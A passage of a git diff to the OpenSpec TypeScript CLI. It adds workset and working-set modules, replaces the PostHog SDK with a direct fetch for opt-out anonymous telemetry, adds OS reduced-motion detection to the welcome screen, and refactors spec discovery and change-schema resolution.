'inherit', + env: { + ...process.env, + // The child must not offer the upgrade again: if PATH still resolves + // to the old binary, prompting would loop forever. + OPENSPEC_NO_UPDATE_CHECK: '1', + // This is a continuation of the command the user already ran, and the + // parent recorded it; counting it twice would overstate usage. + OPENSPEC_TELEMETRY: '0', + }, + }); + child.on('error', () => { + // Nothing to hand off to: the upgrade landed but the instruction files + // are still the old ones, so this run did not do what was asked. + console.log(chalk.yellow('Instruction files were not regenerated.')); + console.log(chalk.dim(' Run "openspec update" to pick up the new workflows.')); + resolve(1); + }); + // A child killed by a signal reports no code; that is not success. + child.on('close', (code) => resolve(code ?? 1)); + }); +} + +/** + * Prints the upgrade hint. Instruction files are generated by the installed + * CLI, so "up to date" only ever means "matches this CLI" — without this note + * a stale install looks like a successful update. + */ +export function displayCliUpdateNote( + latestVersion: string, + projectPath: string = '.', + options: { withCommand?: boolean } = {} +): void { + const [headline, ...rest] = buildCliUpdateLines( + latestVersion, + getInstallDir(), + projectPath, + options + ); + + console.log(); + console.log(chalk.yellow(headline)); + for (const line of rest) { + console.log(chalk.dim(line)); + } +} + +/** + * Prints just the manual command, for when the offer was declined or failed. + */ +export function displayUpgradeCommand(projectPath: string = '.'): void { + for (const line of buildUpgradeCommandLines(getInstallDir(), projectPath)) { + console.log(chalk.dim(line)); + } +} diff --git a/src/core/view.ts b/src/core/view.ts index e67c352688..e79c1905a7 100644 --- a/src/core/view.ts +++ b/src/core/view.ts @@ -3,6 +3,7 @@ import * as path from 'path'; import chalk from 'chalk'; import { getTaskProgressForChange, formatTaskStatus } from '../utils/task-progress.js'; import { MarkdownParser } from './parsers/markdown-parser.js'; +import { discoverSpecFiles } from '../utils/spec-discovery.js'; export class ViewCommand { async execute(targetPath: string = '.'): Promise<void> { @@ -97,7 +98,7 @@ export class ViewCommand { for (const entry of entries) { if (entry.isDirectory() && entry.name !== 'archive') { - const progress = await getTaskProgressForChange(changesDir, entry.name); + const progress = await getTaskProgressForChange(changesDir, entry.name, path.dirname(openspecDir)); if (progress.total === 0) { // No tasks defined yet - still in planning/draft phase @@ -137,24 +138,17 @@ export class ViewCommand { } const specs: Array<{ name: string; requirementCount: number }> = []; - const entries = fs.readdirSync(specsDir, { withFileTypes: true }); - - for (const entry of entries) { - if (entry.isDirectory()) { - const specFile = path.join(specsDir, entry.name, 'spec.md'); - - if (fs.existsSync(specFile)) { - try { - const content = fs.readFileSync(specFile, 'utf-8'); - const parser = new MarkdownParser(content); - const spec = parser.parseSpec(entry.name); - const requirementCount = spec.requirements.length; - specs.push({ name: entry.name, requirementCount }); - } catch (error) { - // If spec cannot be parsed, include with 0 count - specs.push({ name: entry.name, requirementCount: 0 }); - } - } + + for (const { id, specFile } of await discoverSpecFiles(specsDir)) { + try { + const content = fs.readFileSync(specFile, 'utf-8'); + const parser = new MarkdownParser(content); + const spec = parser.parseSpec(id); + const requirementCount = spec.requirements.length; + specs.push({ name: id, requirementCount }); + } catch (error) { + // If spec cannot be parsed, include with 0 count + specs.push({ name: id, requirementCount: 0 }); } } diff --git a/src/core/working-set.ts b/src/core/working-set.ts new file mode 100644 index 0000000000..007c336801 --- /dev/null +++ b/src/core/working-set.ts @@ -0,0 +1,92 @@ +/** + * Working-set assembly (slice 4.1): the full set a root's declarations + * describe — the OpenSpec root and its referenced stores — as an + * agent-consumable brief. A local convenience + * computed from declared relationships, never a planning system; no + * clone/sync/launch machinery. Unresolvable members are reported, not + * guessed. + */ +import type { StoreDiagnostic } from './store/errors.js'; +import { fetchRecipe, type ReferenceIndexEntry } from './references.js'; +import { toRootOutput, type ResolvedOpenSpecRoot } from './root-selection.js'; + +export type WorkingSetRole = 'referenced_store'; + +export interface WorkingSetMember { + role: WorkingSetRole; + id: string; + path?: string; + remote?: string; + fetch?: string; + status: StoreDiagnostic[]; +} + +export interface WorkingSet { + root: { + path: string; + source: ResolvedOpenSpecRoot['source']; + store_id?: string; + role: 'openspec_root'; + }; + members: WorkingSetMember[]; + status: StoreDiagnostic[]; +} + +export interface AssembleWorkingSetInput { + root: ResolvedOpenSpecRoot; + referenceEntries: ReferenceIndexEntry[]; + /** The composition's top-level status; the working set keeps only + * the registry-unreadable degradation (selected by code, never by + * position). */ + topLevelStatus?: StoreDiagnostic[]; +} + +/** AVAILABLE = path present AND per-entry status empty. */ +export function isAvailableMember(member: WorkingSetMember): boolean { + return member.path !== undefined && member.status.length === 0; +} + +export function assembleWorkingSet(input: AssembleWorkingSetInput): WorkingSet { + const members: WorkingSetMember[] = []; + + for (const entry of input.referenceEntries) { + members.push({ + role: 'referenced_store', + id: entry.store_id, + ...(entry.root !== undefined ? { path: entry.root } : {}), + ...(entry.root !== undefined && entry.status.length === 0 + ? { fetch: fetchRecipe(entry.store_id) } + : {}), + status: entry.status, + }); + } + + const status = (input.topLevelStatus ?? []).filter( + (entry) => entry.code === 'relationship_registry_unreadable' + ); + + return { + root: { ...toRootOutput(input.root), role: 'openspec_root' }, + members, + status, + }; +} + +/** + * Pure builder for the `.code-workspace` editor view — one consumer of + * assembly, not the feature. Available members only. + */ +export function buildCodeWorkspaceJson(workingSet: WorkingSet, rootName: string): string { + const folders: Array<{ name: string; path: string }> = [ + { name: rootName, path: workingSet.root.path }, + ]; + + for (const member of workingSet.members) { + if (!isAvailableMember(member)) { + continue; + } + folders.push({ name: `ref:${member.id}`, path: member.path! }); + } + + return JSON.stringify({ folders }, null, 2) + '\n'; +} diff --git a/src/core/worksets.ts b/src/core/worksets.ts new file mode 100644 index 0000000000..be715490a6 --- /dev/null +++ b/src/core/worksets.ts @@ -0,0 +1,401 @@ +import * as nodeFs from 'node:fs'; +import * as path from 'node:path'; +import { parse as parseYaml, stringify as stringifyYaml } from 'yaml'; +import { z } from 'zod'; + +import { getGlobalDataDir } from './global-config.js'; +import { FileSystemUtils } from '../utils/file-system.js'; +import { + acquireFileLock, + makeLockErrorFactory, + pathIsFile, + releaseFileLock, + writeFileAtomically, +} from './file-state.js'; +import { StoreError } from './store/errors.js'; +import { + folderStyleNameProblem, + isKebabId, + KEBAB_ID_DESCRIPTION, + KEBAB_ID_FIX, +} from './id.js'; +import { formatZodIssues } from './zod-issues.js'; + +const fs = nodeFs.promises; + +/** + * Personal worksets (slice 7.1): purely local, manually composed, + * named working views. The whole feature's state lives under + * <globalDataDir>/worksets/ - the saved-views file plus the generated + * .code-workspace files - so deleting that one directory removes + * every trace. Nothing here is committed, shared, or derived from + * declarations, and nothing is ever written into a member folder. + */ + +export const WORKSETS_DIR_NAME = 'worksets'; +export const WORKSETS_FILE_NAME = 'worksets.yaml'; +const CODE_WORKSPACE_EXTENSION = '.code-workspace'; + +export interface WorksetPathOptions { + globalDataDir?: string; +} + +export interface WorksetMember { + /** Display label; the .code-workspace folder name. */ + name: string; + /** Absolute path to the member directory. */ + path: string; +} + +export interface Workset { + name: string; + /** Preferred opener id; validated only at open time. */ + tool?: string; + /** Ordered; the first member is the primary (session cwd). */ + members: WorksetMember[]; +} + +export interface WorksetsState { + version: 1; + worksets: Record<string, { tool?: string; members: WorksetMember[] }>; +} + +export function getWorksetsDir(options: WorksetPathOptions = {}): string { + return FileSystemUtils.joinPath( + options.globalDataDir ?? getGlobalDataDir(), + WORKSETS_DIR_NAME + ); +} + +export function getWorksetsFilePath(options: WorksetPathOptions = {}): string { + return FileSystemUtils.joinPath(getWorksetsDir(options), WORKSETS_FILE_NAME); +} + +export function getWorksetCodeWorkspacePath( + name: string, + options: WorksetPathOptions = {} +): string { + return FileSystemUtils.joinPath( + getWorksetsDir(options), + `${name}${CODE_WORKSPACE_EXTENSION}` + ); +} + +export function validateWorksetName(name: string): string { + if (!isKebabId(name)) { + throw new StoreError( + `Workset name '${name}' ${KEBAB_ID_DESCRIPTION}.`, + 'invalid_workset_name', + { + target: 'workset.name', + fix: KEBAB_ID_FIX, + } + ); + } + + return name; +} + +/** + * Returns a problem description for a member list, or null when valid. + * Shared by the file parser (wrapping as invalid_workset_file) and the + * compose flow (wrapping as workset_member_invalid). + */ +export function memberListProblem(members: WorksetMember[]): string | null { + if (members.length === 0) { + return 'members must not be empty'; + } + + const seen = new Set<string>(); + for (const member of members) { + const labelProblem = memberLabelProblem(member.name); + if (labelProblem !== null) { + return labelProblem; + } + + if (seen.has(member.name)) { + return `duplicate member name '${member.name}' (use the name=path form to label members distinctly)`; + } + seen.add(member.name); + + if (!path.isAbsolute(member.path)) { + return `member path '${member.path}' must be absolute`; + } + } + + return null; +} + +export function memberLabelProblem(label: string): string | null { + return folderStyleNameProblem(label, 'member name'); +} + +const WorksetMemberSchema = z + .object({ + name: z.string(), + path: z.string(), + }) + .strict(); + +const WorksetEntrySchema = z + .object({ + tool: z.string().min(1).optional(), + members: z.array(WorksetMemberSchema), + }) + .strict(); + +const WorksetsStateSchema = z + .object({ + version: z.literal(1), + worksets: z.record(z.string(), WorksetEntrySchema), + }) + .strict(); + +function invalidWorksetsFileError( + message: string, + options: WorksetPathOptions +): StoreError { + return new StoreError( + `Invalid worksets file: ${message}`, + 'invalid_workset_file', + { + target: 'workset.file', + fix: `Repair or remove ${getWorksetsFilePath(options)}.`, + } + ); +} + +export function parseWorksetsState( + content: string, + options: WorksetPathOptions = {} +): WorksetsState { + let raw: unknown; + try { + raw = parseYaml(content); + } catch (error) { + const message = error instanceof Error ? error.message : String(error); + throw invalidWorksetsFileError(message, options); + } + + const result = WorksetsStateSchema.safeParse(raw); + if (!result.success) { + throw invalidWorksetsFileError(formatZodIssues(result.error), options); + } + + for (const [name, entry] of Object.entries(result.data.worksets)) { + if (!isKebabId(name)) { + throw invalidWorksetsFileError( + `workset name '${name}' ${KEBAB_ID_DESCRIPTION}`, + options + ); + } + + const problem = memberListProblem(entry.members); + if (problem !== null) { + throw invalidWorksetsFileError(`workset '${name}': ${problem}`, options); + } + } + + return result.data; +} + +export function serializeWorksetsState( + state: WorksetsState, + options: WorksetPathOptions = {} +): string { + const result = WorksetsStateSchema.safeParse(state); + if (!result.success) { + throw invalidWorksetsFileError(formatZodIssues(result.error), options); + } + + // The strict schema already guarantees the entry shape; the sort is + // the only real work here. + return stringifyYaml({ + version: 1, + worksets: Object.fromEntries( + Object.entries(result.data.worksets).sort(([a], [b]) => + a.localeCompare(b) + ) + ), + }); +} + +/** Absent file reads as the empty state; a corrupt file throws. */ +export async function readWorksetsState( + options: WorksetPathOptions = {} +): Promise<WorksetsState> { + const filePath = getWorksetsFilePath(options); + + if (!(await pathIsFile(filePath))) { + return { version: 1, worksets: {} }; + } + + return parseWorksetsState(await fs.readFile(filePath, 'utf-8'), options); +} + +const worksetsLockError = makeLockErrorFactory({ + createSubject: 'the worksets lock file', + busyMessage: 'The worksets file is busy.', + code: 'workset_file_busy', + target: 'workset.file', +}); + +export async function updateWorksetsState( + updater: (state: WorksetsState) => WorksetsState | Promise<WorksetsState>, + options: WorksetPathOptions = {} +): Promise<WorksetsState> { + return withWorksetsLock(async (state) => { + const next = await updater(state); + await writeFileAtomically( + getWorksetsFilePath(options), + serializeWorksetsState(next, options) + ); + return next; + }, options); +} + +/** + * Lock-scoped read without a write-back of the saved-views file. + * `open` uses this to read the state and regenerate the derived + * .code-workspace coherently; the lock is released before any spawn. + */ +export async function withWorksetsLock<T>( + fn: (state: WorksetsState) => T | Promise<T>, + options: WorksetPathOptions = {} +): Promise<T> { + const lockPath = `${getWorksetsFilePath(options)}.lock`; + const lock = await acquireFileLock({ + lockPath, + errorFor: worksetsLockError, + }); + + try { + return await fn(await readWorksetsState(options)); + } finally { + await releaseFileLock(lock, lockPath); + } +} + +export function worksetNotFoundError( + name: string, + state: WorksetsState +): StoreError { + const savedNames = Object.keys(state.worksets).sort((a, b) => + a.localeCompare(b) + ); + return new StoreError( + `Workset '${name}' is not saved on this machine.`, + 'workset_not_found', + { + target: 'workset.name', + fix: + savedNames.length > 0 + ? `Saved worksets: ${savedNames.join(', ')}. See them with: openspec workset list` + : `Create it first: openspec workset create ${name}`, + } + ); +} + +export function withWorkset( + state: WorksetsState, + workset: Workset +): WorksetsState { + if (state.worksets[workset.name] !== undefined) { + throw new StoreError( + `Workset '${workset.name}' already exists.`, + 'workset_exists', + { + target: 'workset.name', + fix: `Choose another name, or remove it first: openspec workset remove ${workset.name}`, + } + ); + } + + return { + version: 1, + worksets: { + ...state.worksets, + [workset.name]: { + ...(workset.tool !== undefined ? { tool: workset.tool } : {}), + members: workset.members, + }, + }, + }; +} + +export function withoutWorkset( + state: WorksetsState, + name: string +): WorksetsState { + if (state.worksets[name] === undefined) { + throw worksetNotFoundError(name, state); + } + + const remaining = { ...state.worksets }; + delete remaining[name]; + return { version: 1, worksets: remaining }; +} + +/** + * Removes a saved workset and its derived .code-workspace under one + * lock. The derived-file cleanup runs AFTER the durable write (a + * failed write must not have already destroyed the artifact); a + * never-opened workset has no file - ENOENT is fine. + */ +export async function removeWorkset( + name: string, + options: WorksetPathOptions = {} +): Promise<void> { + await withWorksetsLock(async (state) => { + const next = withoutWorkset(state, name); + await writeFileAtomically( + getWorksetsFilePath(options), + serializeWorksetsState(next, options) + ); + await fs.rm(getWorksetCodeWorkspacePath(name, options), { force: true }); + }, options); +} + +function toWorkset( + name: string, + entry: WorksetsState['worksets'][string] +): Workset { + return { + name, + ...(entry.tool !== undefined ? { tool: entry.tool } : {}), + members: entry.members, + }; +} + +export function listWorksets(state: WorksetsState): Workset[] { + return Object.entries(state.worksets) + .map(([name, entry]) => toWorkset(name, entry)) + .sort((a, b) => a.name.localeCompare(b.name)); +} + +export function getWorkset(state: WorksetsState, name: string): Workset | null { + const entry = state.worksets[name]; + return entry === undefined ? null : toWorkset(name, entry); +} + +/** + * The generated .code-workspace content: members in saved order with + * their saved names, absolute paths, two-space JSON, trailing newline + * (the working-set builder's conventions). + */ +export function buildWorksetCodeWorkspaceJson( + members: WorksetMember[] +): string { + return ( + JSON.stringify( + { + folders: members.map((member) => ({ + name: member.name, + path: member.path, + })), + }, + null, + 2 + ) + '\n' + ); +} diff --git a/src/core/zod-issues.ts b/src/core/zod-issues.ts new file mode 100644 index 0000000000..5740db05cd --- /dev/null +++ b/src/core/zod-issues.ts @@ -0,0 +1,15 @@ +import type { z } from 'zod'; + +/** One rendering for zod issues across every state/config parser. */ +export function formatZodIssues( + error: z.ZodError, + fallbackLocation = 'root' +): string { + return error.issues + .map((issue) => { + const location = + issue.path.length > 0 ? issue.path.join('.') : fallbackLocation; + return `${location}: ${issue.message}`; + }) + .join('; '); +} diff --git a/src/prompts/searchable-multi-select.ts b/src/prompts/searchable-multi-select.ts index f4de429c02..84f338d948 100644 --- a/src/prompts/searchable-multi-select.ts +++ b/src/prompts/searchable-multi-select.ts @@ -172,7 +172,7 @@ async function createSearchableMultiSelect(): Promise< const actualIndex = startIndex + i; const isActive = actualIndex === cursor; const selected = selectedSet.has(item.value); - const icon = selected ? chalk.green('◉') : chalk.dim('○'); + const icon = selected ? chalk.green('[x]') : chalk.dim('[ ]'); const arrow = isActive ? chalk.cyan('›') : ' '; const name = isActive ? chalk.cyan(item.name) : item.name; const isRefresh = selected && item.configured; diff --git a/src/telemetry/config.ts b/src/telemetry/config.ts index 5bad282d97..f994cfacd0 100644 --- a/src/telemetry/config.ts +++ b/src/telemetry/config.ts @@ -9,16 +9,15 @@ import { GLOBAL_CONFIG_DIR_NAME, GLOBAL_CONFIG_FILE_NAME, getGlobalConfigDir, + type TelemetryConfig, } from '../core/global-config.js'; // Constants export const CONFIG_DIR_NAME = GLOBAL_CONFIG_DIR_NAME; export const CONFIG_FILE_NAME = GLOBAL_CONFIG_FILE_NAME; -export interface TelemetryConfig { - anonymousId?: string; - noticeSeen?: boolean; -} +/** Re-export shared telemetry section type (single source of truth in global-config). */ +export type { TelemetryConfig }; export interface GlobalConfig { telemetry?: TelemetryConfig; diff --git a/src/telemetry/index.ts b/src/telemetry/index.ts index e7a92dcdc4..fce6a67534 100644 --- a/src/telemetry/index.ts +++ b/src/telemetry/index.ts @@ -4,12 +4,24 @@ * Privacy-first design: * - Only tracks command name and version * - No arguments, file paths, or content - * - Opt-out via OPENSPEC_TELEMETRY=0 or DO_NOT_TRACK=1 + * - Opt-out via OPENSPEC_TELEMETRY=0, DO_NOT_TRACK=1, or + * `openspec config set telemetry.enabled false` * - Auto-disabled in CI environments * - Anonymous ID is a random UUID with no relation to the user + * + * Events are sent with a plain fetch to PostHog's stable public `/batch/` + * endpoint — the same one posthog-node used — instead of through the SDK. + * The SDK's only remaining job here was the wire format: every reliability + * knob was already forced to "send one event immediately, time-bounded, + * never retry, never throw". Carrying `posthog-node` for that shipped its + * fast-moving transitive tree (`@posthog/core`, `@posthog/types`, multiple + * releases per day) to every downstream consumer, where supply-chain age + * policies such as pnpm's `minimumReleaseAge` rejected the freshly published + * versions and broke installs (#1390). */ -import { PostHog } from 'posthog-node'; import { randomUUID } from 'crypto'; +import { getGlobalConfig } from '../core/global-config.js'; +import { isCiEnvironment } from '../utils/ci.js'; import { getTelemetryConfig, updateTelemetryConfig } from './config.js'; // PostHog API key - public key for client-side analytics @@ -19,12 +31,25 @@ const POSTHOG_API_KEY = 'phc_Hthu8YvaIJ9QaFKyTG4TbVwkbd5ktcAFzVTKeMmoW2g'; const POSTHOG_HOST = 'https://edge.openspec.dev'; const TELEMETRY_REQUEST_TIMEOUT_MS = 1000; -let posthogClient: PostHog | null = null; let anonymousId: string | null = null; +/** + * Requests started by trackCommand and not yet settled, so shutdown can + * flush them before the process exits. Each request is individually + * time-bounded, so awaiting them cannot stall exit for more than the + * request timeout. + */ +const pendingEvents = new Set<Promise<void>>(); + async function safeTelemetryFetch(url: string, options: RequestInit): Promise<Response> { try { const response = await fetch(url, options); + // Telemetry never reads the body, but undici keeps the connection + // occupied until the body is consumed or canceled — dispose of it on + // every path so no socket outlives shutdown(). + if (response.body) { + await response.body.cancel(); + } if (response.ok) { return response; } @@ -38,10 +63,15 @@ async function safeTelemetryFetch(url: string, options: RequestInit): Promise<Re /** * Check if telemetry is enabled. * - * Disabled when: - * - OPENSPEC_TELEMETRY=0 - * - DO_NOT_TRACK=1 - * - CI=true (any CI environment) + * Precedence (first match wins): + * 1. OPENSPEC_TELEMETRY=0 → disabled + * 2. DO_NOT_TRACK=1 → disabled + * 3. CI set to a truthy/on value → disabled (same rule as version-check) + * 4. global config telemetry.enabled === false → disabled + * 5. otherwise enabled (unset config means on; opt-out model) + * + * Kept synchronous so call sites need not become async. Reads config via + * sync getGlobalConfig() rather than async getTelemetryConfig(). */ export function isTelemetryEnabled(): boolean { // Check explicit opt-out @@ -54,8 +84,13 @@ export function isTelemetryEnabled(): boolean { return false; } - // Auto-disable in CI environments - if (process.env.CI === 'true') { + // Auto-disable in CI environments (providers use true/1/yes/…) + if (isCiEnvironment()) { + return false; + } + + // Global config opt-out (env/CI remain hard overrides above) + if (getGlobalConfig().telemetry?.enabled === false) { return false; } @@ -86,24 +121,32 @@ export async function getOrCreateAnonymousId(): Promise<string> { } /** - * Get the PostHog client instance. - * Creates it on first call with CLI-optimized settings. + * Send one capture event to PostHog's batch endpoint. Fire-and-forget: + * bounded by the request timeout, never throws, never retries. */ -function getClient(): PostHog { - if (!posthogClient) { - posthogClient = new PostHog(POSTHOG_API_KEY, { - host: POSTHOG_HOST, - flushAt: 1, // Send immediately, don't batch - flushInterval: 0, // No timer-based flushing - fetchRetryCount: 0, - requestTimeout: TELEMETRY_REQUEST_TIMEOUT_MS, - preloadFeatureFlags: false, - disableRemoteConfig: true, - disableSurveys: true, - fetch: safeTelemetryFetch, - }); - } - return posthogClient; +function sendEvent(distinctId: string, event: string, properties: Record<string, unknown>): void { + const body = JSON.stringify({ + api_key: POSTHOG_API_KEY, + batch: [ + { + type: 'capture', + event, + distinct_id: distinctId, + properties, + timestamp: new Date().toISOString(), + }, + ], + }); + + const request = safeTelemetryFetch(`${POSTHOG_HOST}/batch/`, { + method: 'POST', + headers: { 'content-type': 'application/json' }, + body, + signal: AbortSignal.timeout(TELEMETRY_REQUEST_TIMEOUT_MS), + }).then(() => undefined); + + pendingEvents.add(request); + void request.finally(() => pendingEvents.delete(request)); } /** @@ -119,17 +162,12 @@ export async function trackCommand(commandName: string, version: string): Promis try { const userId = await getOrCreateAnonymousId(); - const client = getClient(); - - client.capture({ - distinctId: userId, - event: 'command_executed', - properties: { - command: commandName, - version: version, - surface: 'cli', - $ip: null, // Explicitly disable IP tracking - }, + + sendEvent(userId, 'command_executed', { + command: commandName, + version: version, + surface: 'cli', + $ip: null, // Explicitly disable IP tracking }); } catch { // Silent failure - telemetry should never break CLI @@ -152,7 +190,7 @@ export async function maybeShowTelemetryNotice(): Promise<void> { // Display notice console.log( - 'Note: OpenSpec collects anonymous usage stats. Opt out: OPENSPEC_TELEMETRY=0' + 'Note: OpenSpec collects anonymous usage stats. Opt out: OPENSPEC_TELEMETRY=0 or openspec config set telemetry.enabled false' ); // Mark as seen @@ -163,19 +201,19 @@ export async function maybeShowTelemetryNotice(): Promise<void> { } /** - * Shutdown the PostHog client and flush pending events. + * Flush pending telemetry events. * Call this before CLI exit. */ export async function shutdown(): Promise<void> { - if (!posthogClient) { + if (pendingEvents.size === 0) { return; } try { - await posthogClient.shutdown(); + await Promise.allSettled([...pendingEvents]); } catch { // Silent failure - telemetry should never break CLI exit } finally { - posthogClient = null; + pendingEvents.clear(); } } diff --git a/src/ui/welcome-screen.ts b/src/ui/welcome-screen.ts index 5ed26b6a18..9e33dcf4ab 100644 --- a/src/ui/welcome-screen.ts +++ b/src/ui/welcome-screen.ts @@ -4,7 +4,12 @@ */ import chalk from 'chalk'; +import { + execFileSync, + type ExecFileSyncOptionsWithStringEncoding, +} from 'node:child_process'; import { WELCOME_ANIMATION } from './ascii-patterns.js'; +import { getOnboardingCommands } from '../core/onboarding-commands.js'; // Minimum terminal width for side-by-side layout const MIN_WIDTH = 60; @@ -15,20 +20,37 @@ const ART_COLUMN_WIDTH = 24; /** * Welcome text content (right column) */ -function getWelcomeText(): string[] { +function getWelcomeText(workflows: readonly string[]): string[] { + const onboardingCommands = getOnboardingCommands(workflows); + const quickStart: string[] = []; + + if (onboardingCommands.length > 0) { + const commandWidth = Math.max(...onboardingCommands.map((c) => c.command.length)); + quickStart.push(chalk.white('Quick start after setup:')); + for (const { command, description } of onboardingCommands) { + quickStart.push(` ${chalk.yellow(command.padEnd(commandWidth + 1))} ${chalk.dim(description)}`); + } + // These are the canonical names. How each tool spells them differs + // (/opsx-propose, @opsx-propose, $openspec-propose ...) and cannot be known + // until tools are picked, one prompt later — so flag it rather than let the + // canonical form read as the literal thing to type. "Getting started" + // prints the real spelling once the selection is known. + quickStart.push(chalk.dim(' (spelling varies by tool)')); + quickStart.push(''); + } + return [ chalk.white.bold('Welcome to OpenSpec'), chalk.dim('A lightweight spec-driven framework'), '', chalk.white('This setup will configure:'), chalk.dim(' • Agent Skills for AI tools'), - chalk.dim(' • /opsx:* slash commands'), - '', - chalk.white('Quick start after setup:'), - ` ${chalk.yellow('/opsx:new')} ${chalk.dim('Create a change')}`, - ` ${chalk.yellow('/opsx:continue')} ${chalk.dim('Next artifact')}`, - ` ${chalk.yellow('/opsx:apply')} ${chalk.dim('Implement tasks')}`, + // Not "opsx slash commands": this screen runs before tool selection, and + // skills-only tools (Codex, Kimi Code, ...) correctly get no command files + // at all. The exact spelling per tool is printed in "Getting started". + chalk.dim(' • Workflow commands, if supported'), '', + ...quickStart, chalk.cyan('Press Enter to select tools...'), ]; } @@ -57,6 +79,47 @@ function renderFrame(artLines: string[], textLines: string[]): string { return lines.join('\n'); } +const REDUCED_MOTION_EXEC_OPTIONS: ExecFileSyncOptionsWithStringEncoding = { + encoding: 'utf8', + timeout: 500, + // SIGKILL so a wedged lookup can never outlive the timeout and stall init. + killSignal: 'SIGKILL', + stdio: ['ignore', 'pipe', 'ignore'], +}; + +/** + * Best-effort check of the OS-level reduced-motion preference (#722). + * Any lookup failure (missing binary, unset key, timeout) means + * "no preference detected" and animation stays enabled. + */ +export function prefersReducedMotion( + platform: NodeJS.Platform = process.platform +): boolean { + try { + if (platform === 'darwin') { + // The key only exists once the user has toggled Reduce Motion; when it + // is unset `defaults` exits non-zero and lands in the catch below. + const out = execFileSync( + 'defaults', + ['read', 'com.apple.universalaccess', 'reduceMotion'], + REDUCED_MOTION_EXEC_OPTIONS + ); + return out.trim() === '1'; + } + if (platform === 'linux') { + const out = execFileSync( + 'gsettings', + ['get', 'org.gnome.desktop.interface', 'enable-animations'], + REDUCED_MOTION_EXEC_OPTIONS + ); + return out.trim() === 'false'; + } + } catch { + // Detection is best-effort only. + } + return false; +} + /** * Checks if the terminal supports animation */ @@ -67,64 +130,70 @@ function canAnimate(): boolean { // Respect NO_COLOR if (process.env.NO_COLOR) return false; + // Manual override for users who need reduced motion (#722). Presence is + // what counts: even an empty value disables the animation. + if (process.env.OPENSPEC_NO_ANIMATION !== undefined) return false; + // Check terminal width const columns = process.stdout.columns || 80; if (columns < MIN_WIDTH) return false; + // Last so only interactive terminals pay for the OS lookup + if (prefersReducedMotion()) return false; + return true; } /** * Wait for Enter key press */ -function waitForEnter(): Promise<void> { - return new Promise((resolve) => { - const { stdin } = process; - - // Handle non-TTY gracefully - if (!stdin.isTTY) { - resolve(); - return; - } - - const wasRaw = stdin.isRaw; - stdin.setRawMode(true); - stdin.resume(); - - const onData = (data: Buffer): void => { - const char = data.toString(); - - // Enter key or Ctrl+C - if (char === '\r' || char === '\n' || char === '\u0003') { - stdin.removeListener('data', onData); - stdin.setRawMode(wasRaw); - stdin.pause(); +async function waitForEnter(): Promise<void> { + if (!process.stdin.isTTY) { + return; + } - // Handle Ctrl+C - if (char === '\u0003') { - process.stdout.write('\n'); - process.exit(0); - } + // Keep all interactive input on Inquirer's keypress lifecycle. Mixing a raw + // `data` listener between Inquirer prompts breaks arrow/space keys on Windows. + const { createPrompt, isEnterKey, useKeypress } = await import('@inquirer/core'); + const prompt = createPrompt<void, Record<string, never>>((_config, done) => { + useKeypress((key) => { + if (key.ctrl && key.name === 'c') { + process.stdout.write('\n'); + process.exit(0); + } - resolve(); + if (isEnterKey(key)) { + done(undefined); } - }; + }); - stdin.on('data', onData); + return ''; }); + + await prompt({}); } /** * Shows the animated welcome screen. * Returns when user presses Enter. */ -export async function showWelcomeScreen(): Promise<void> { - const textLines = getWelcomeText(); - - if (!canAnimate()) { - // Fallback: show static welcome +export async function showWelcomeScreen( + workflows: readonly string[], + options: { animate?: boolean } = {} +): Promise<void> { + const textLines = getWelcomeText(workflows); + + if (options.animate === false || !canAnimate()) { + // Fallback: show static welcome. The "Press Enter" line is only honest + // when we actually wait; in a TTY, returning immediately would let the + // Enter it asks for fall through into the tool picker and submit the + // pre-selected tools sight-unseen. Without a TTY, drop the line instead. + const staticLines = process.stdin.isTTY + ? textLines + : textLines.filter((line) => !line.includes('Press Enter')); const frame = WELCOME_ANIMATION.frames[3]; // Peak frame - process.stdout.write('\n' + renderFrame(frame, textLines) + '\n\n'); + process.stdout.write('\n' + renderFrame(frame, staticLines) + '\n\n'); + await waitForEnter(); return; } diff --git a/src/utils/change-metadata.ts b/src/utils/change-metadata.ts index b437495821..7ad17078dc 100644 --- a/src/utils/change-metadata.ts +++ b/src/utils/change-metadata.ts @@ -1,11 +1,11 @@ import * as fs from 'node:fs'; import * as path from 'node:path'; import * as yaml from 'yaml'; -import { ChangeMetadataSchema, type ChangeMetadata } from '../core/artifact-graph/types.js'; -import { listSchemas } from '../core/artifact-graph/resolver.js'; -import { readProjectConfig } from '../core/project-config.js'; +import { ChangeMetadataSchema, type ChangeMetadata } from '../core/change-metadata/index.js'; +import { listSchemas, resolveSchema } from '../core/artifact-graph/resolver.js'; +import { readProjectConfig, type ProjectConfig } from '../core/project-config.js'; -const METADATA_FILENAME = '.openspec.yaml'; +export const METADATA_FILENAME = '.openspec.yaml'; /** * Error thrown when change metadata validation fails. @@ -146,6 +146,12 @@ export function readChangeMetadata( return parseResult.data; } +export interface ResolveSchemaForChangeOptions { + metadata?: ChangeMetadata | null; + /** Pre-read project config; suppresses the fallback config read when provided. */ + projectConfig?: ProjectConfig | null; +} + /** * Resolves the schema for a change, with explicit override taking precedence. * @@ -161,36 +167,174 @@ export function readChangeMetadata( */ export function resolveSchemaForChange( changeDir: string, - explicitSchema?: string + explicitSchema?: string, + projectRootOverride?: string, + options: ResolveSchemaForChangeOptions = {} ): string { // Derive project root from changeDir (changeDir is typically projectRoot/openspec/changes/change-name) - const projectRoot = path.resolve(changeDir, '../../..'); + const projectRoot = projectRootOverride ?? path.resolve(changeDir, '../../..'); // 1. Explicit override wins if (explicitSchema) { return explicitSchema; } - // 2. Try reading from metadata - try { - const metadata = readChangeMetadata(changeDir, projectRoot); - if (metadata?.schema) { - return metadata.schema; + const metadata = + options.metadata !== undefined ? options.metadata : readChangeMetadata(changeDir, projectRoot); + if (metadata?.schema) { + return metadata.schema; + } + + // 3. Try reading from project config when metadata is absent. + if (options.projectConfig !== undefined) { + if (options.projectConfig?.schema) { + return options.projectConfig.schema; + } + } else { + try { + const config = readProjectConfig(projectRoot); + if (config?.schema) { + return config.schema; + } + } catch { + // If config read fails, fall back to default } - } catch { - // If metadata read fails, continue to next option } - // 3. Try reading from project config + // 4. Default + return 'spec-driven'; +} + +export interface MetadataMarker { + /** + * True when the metadata parses under ChangeMetadataSchema, sets + * the requested boolean marker to true, and names a schema that loads. + */ + declared: boolean; + /** + * Set when the marker cannot be honored: it appears in a file that + * fails the metadata contract, or the metadata file exists but cannot be + * read at all (so whether the marker is set cannot even be determined). + */ + invalidReason?: string; +} + +/** @deprecated Use MetadataMarker. */ +export type SkipSpecsMarker = MetadataMarker; + +/** + * Non-throwing read of the skip_specs marker. The marker only counts when the + * metadata would load for status/instructions: the file parses under + 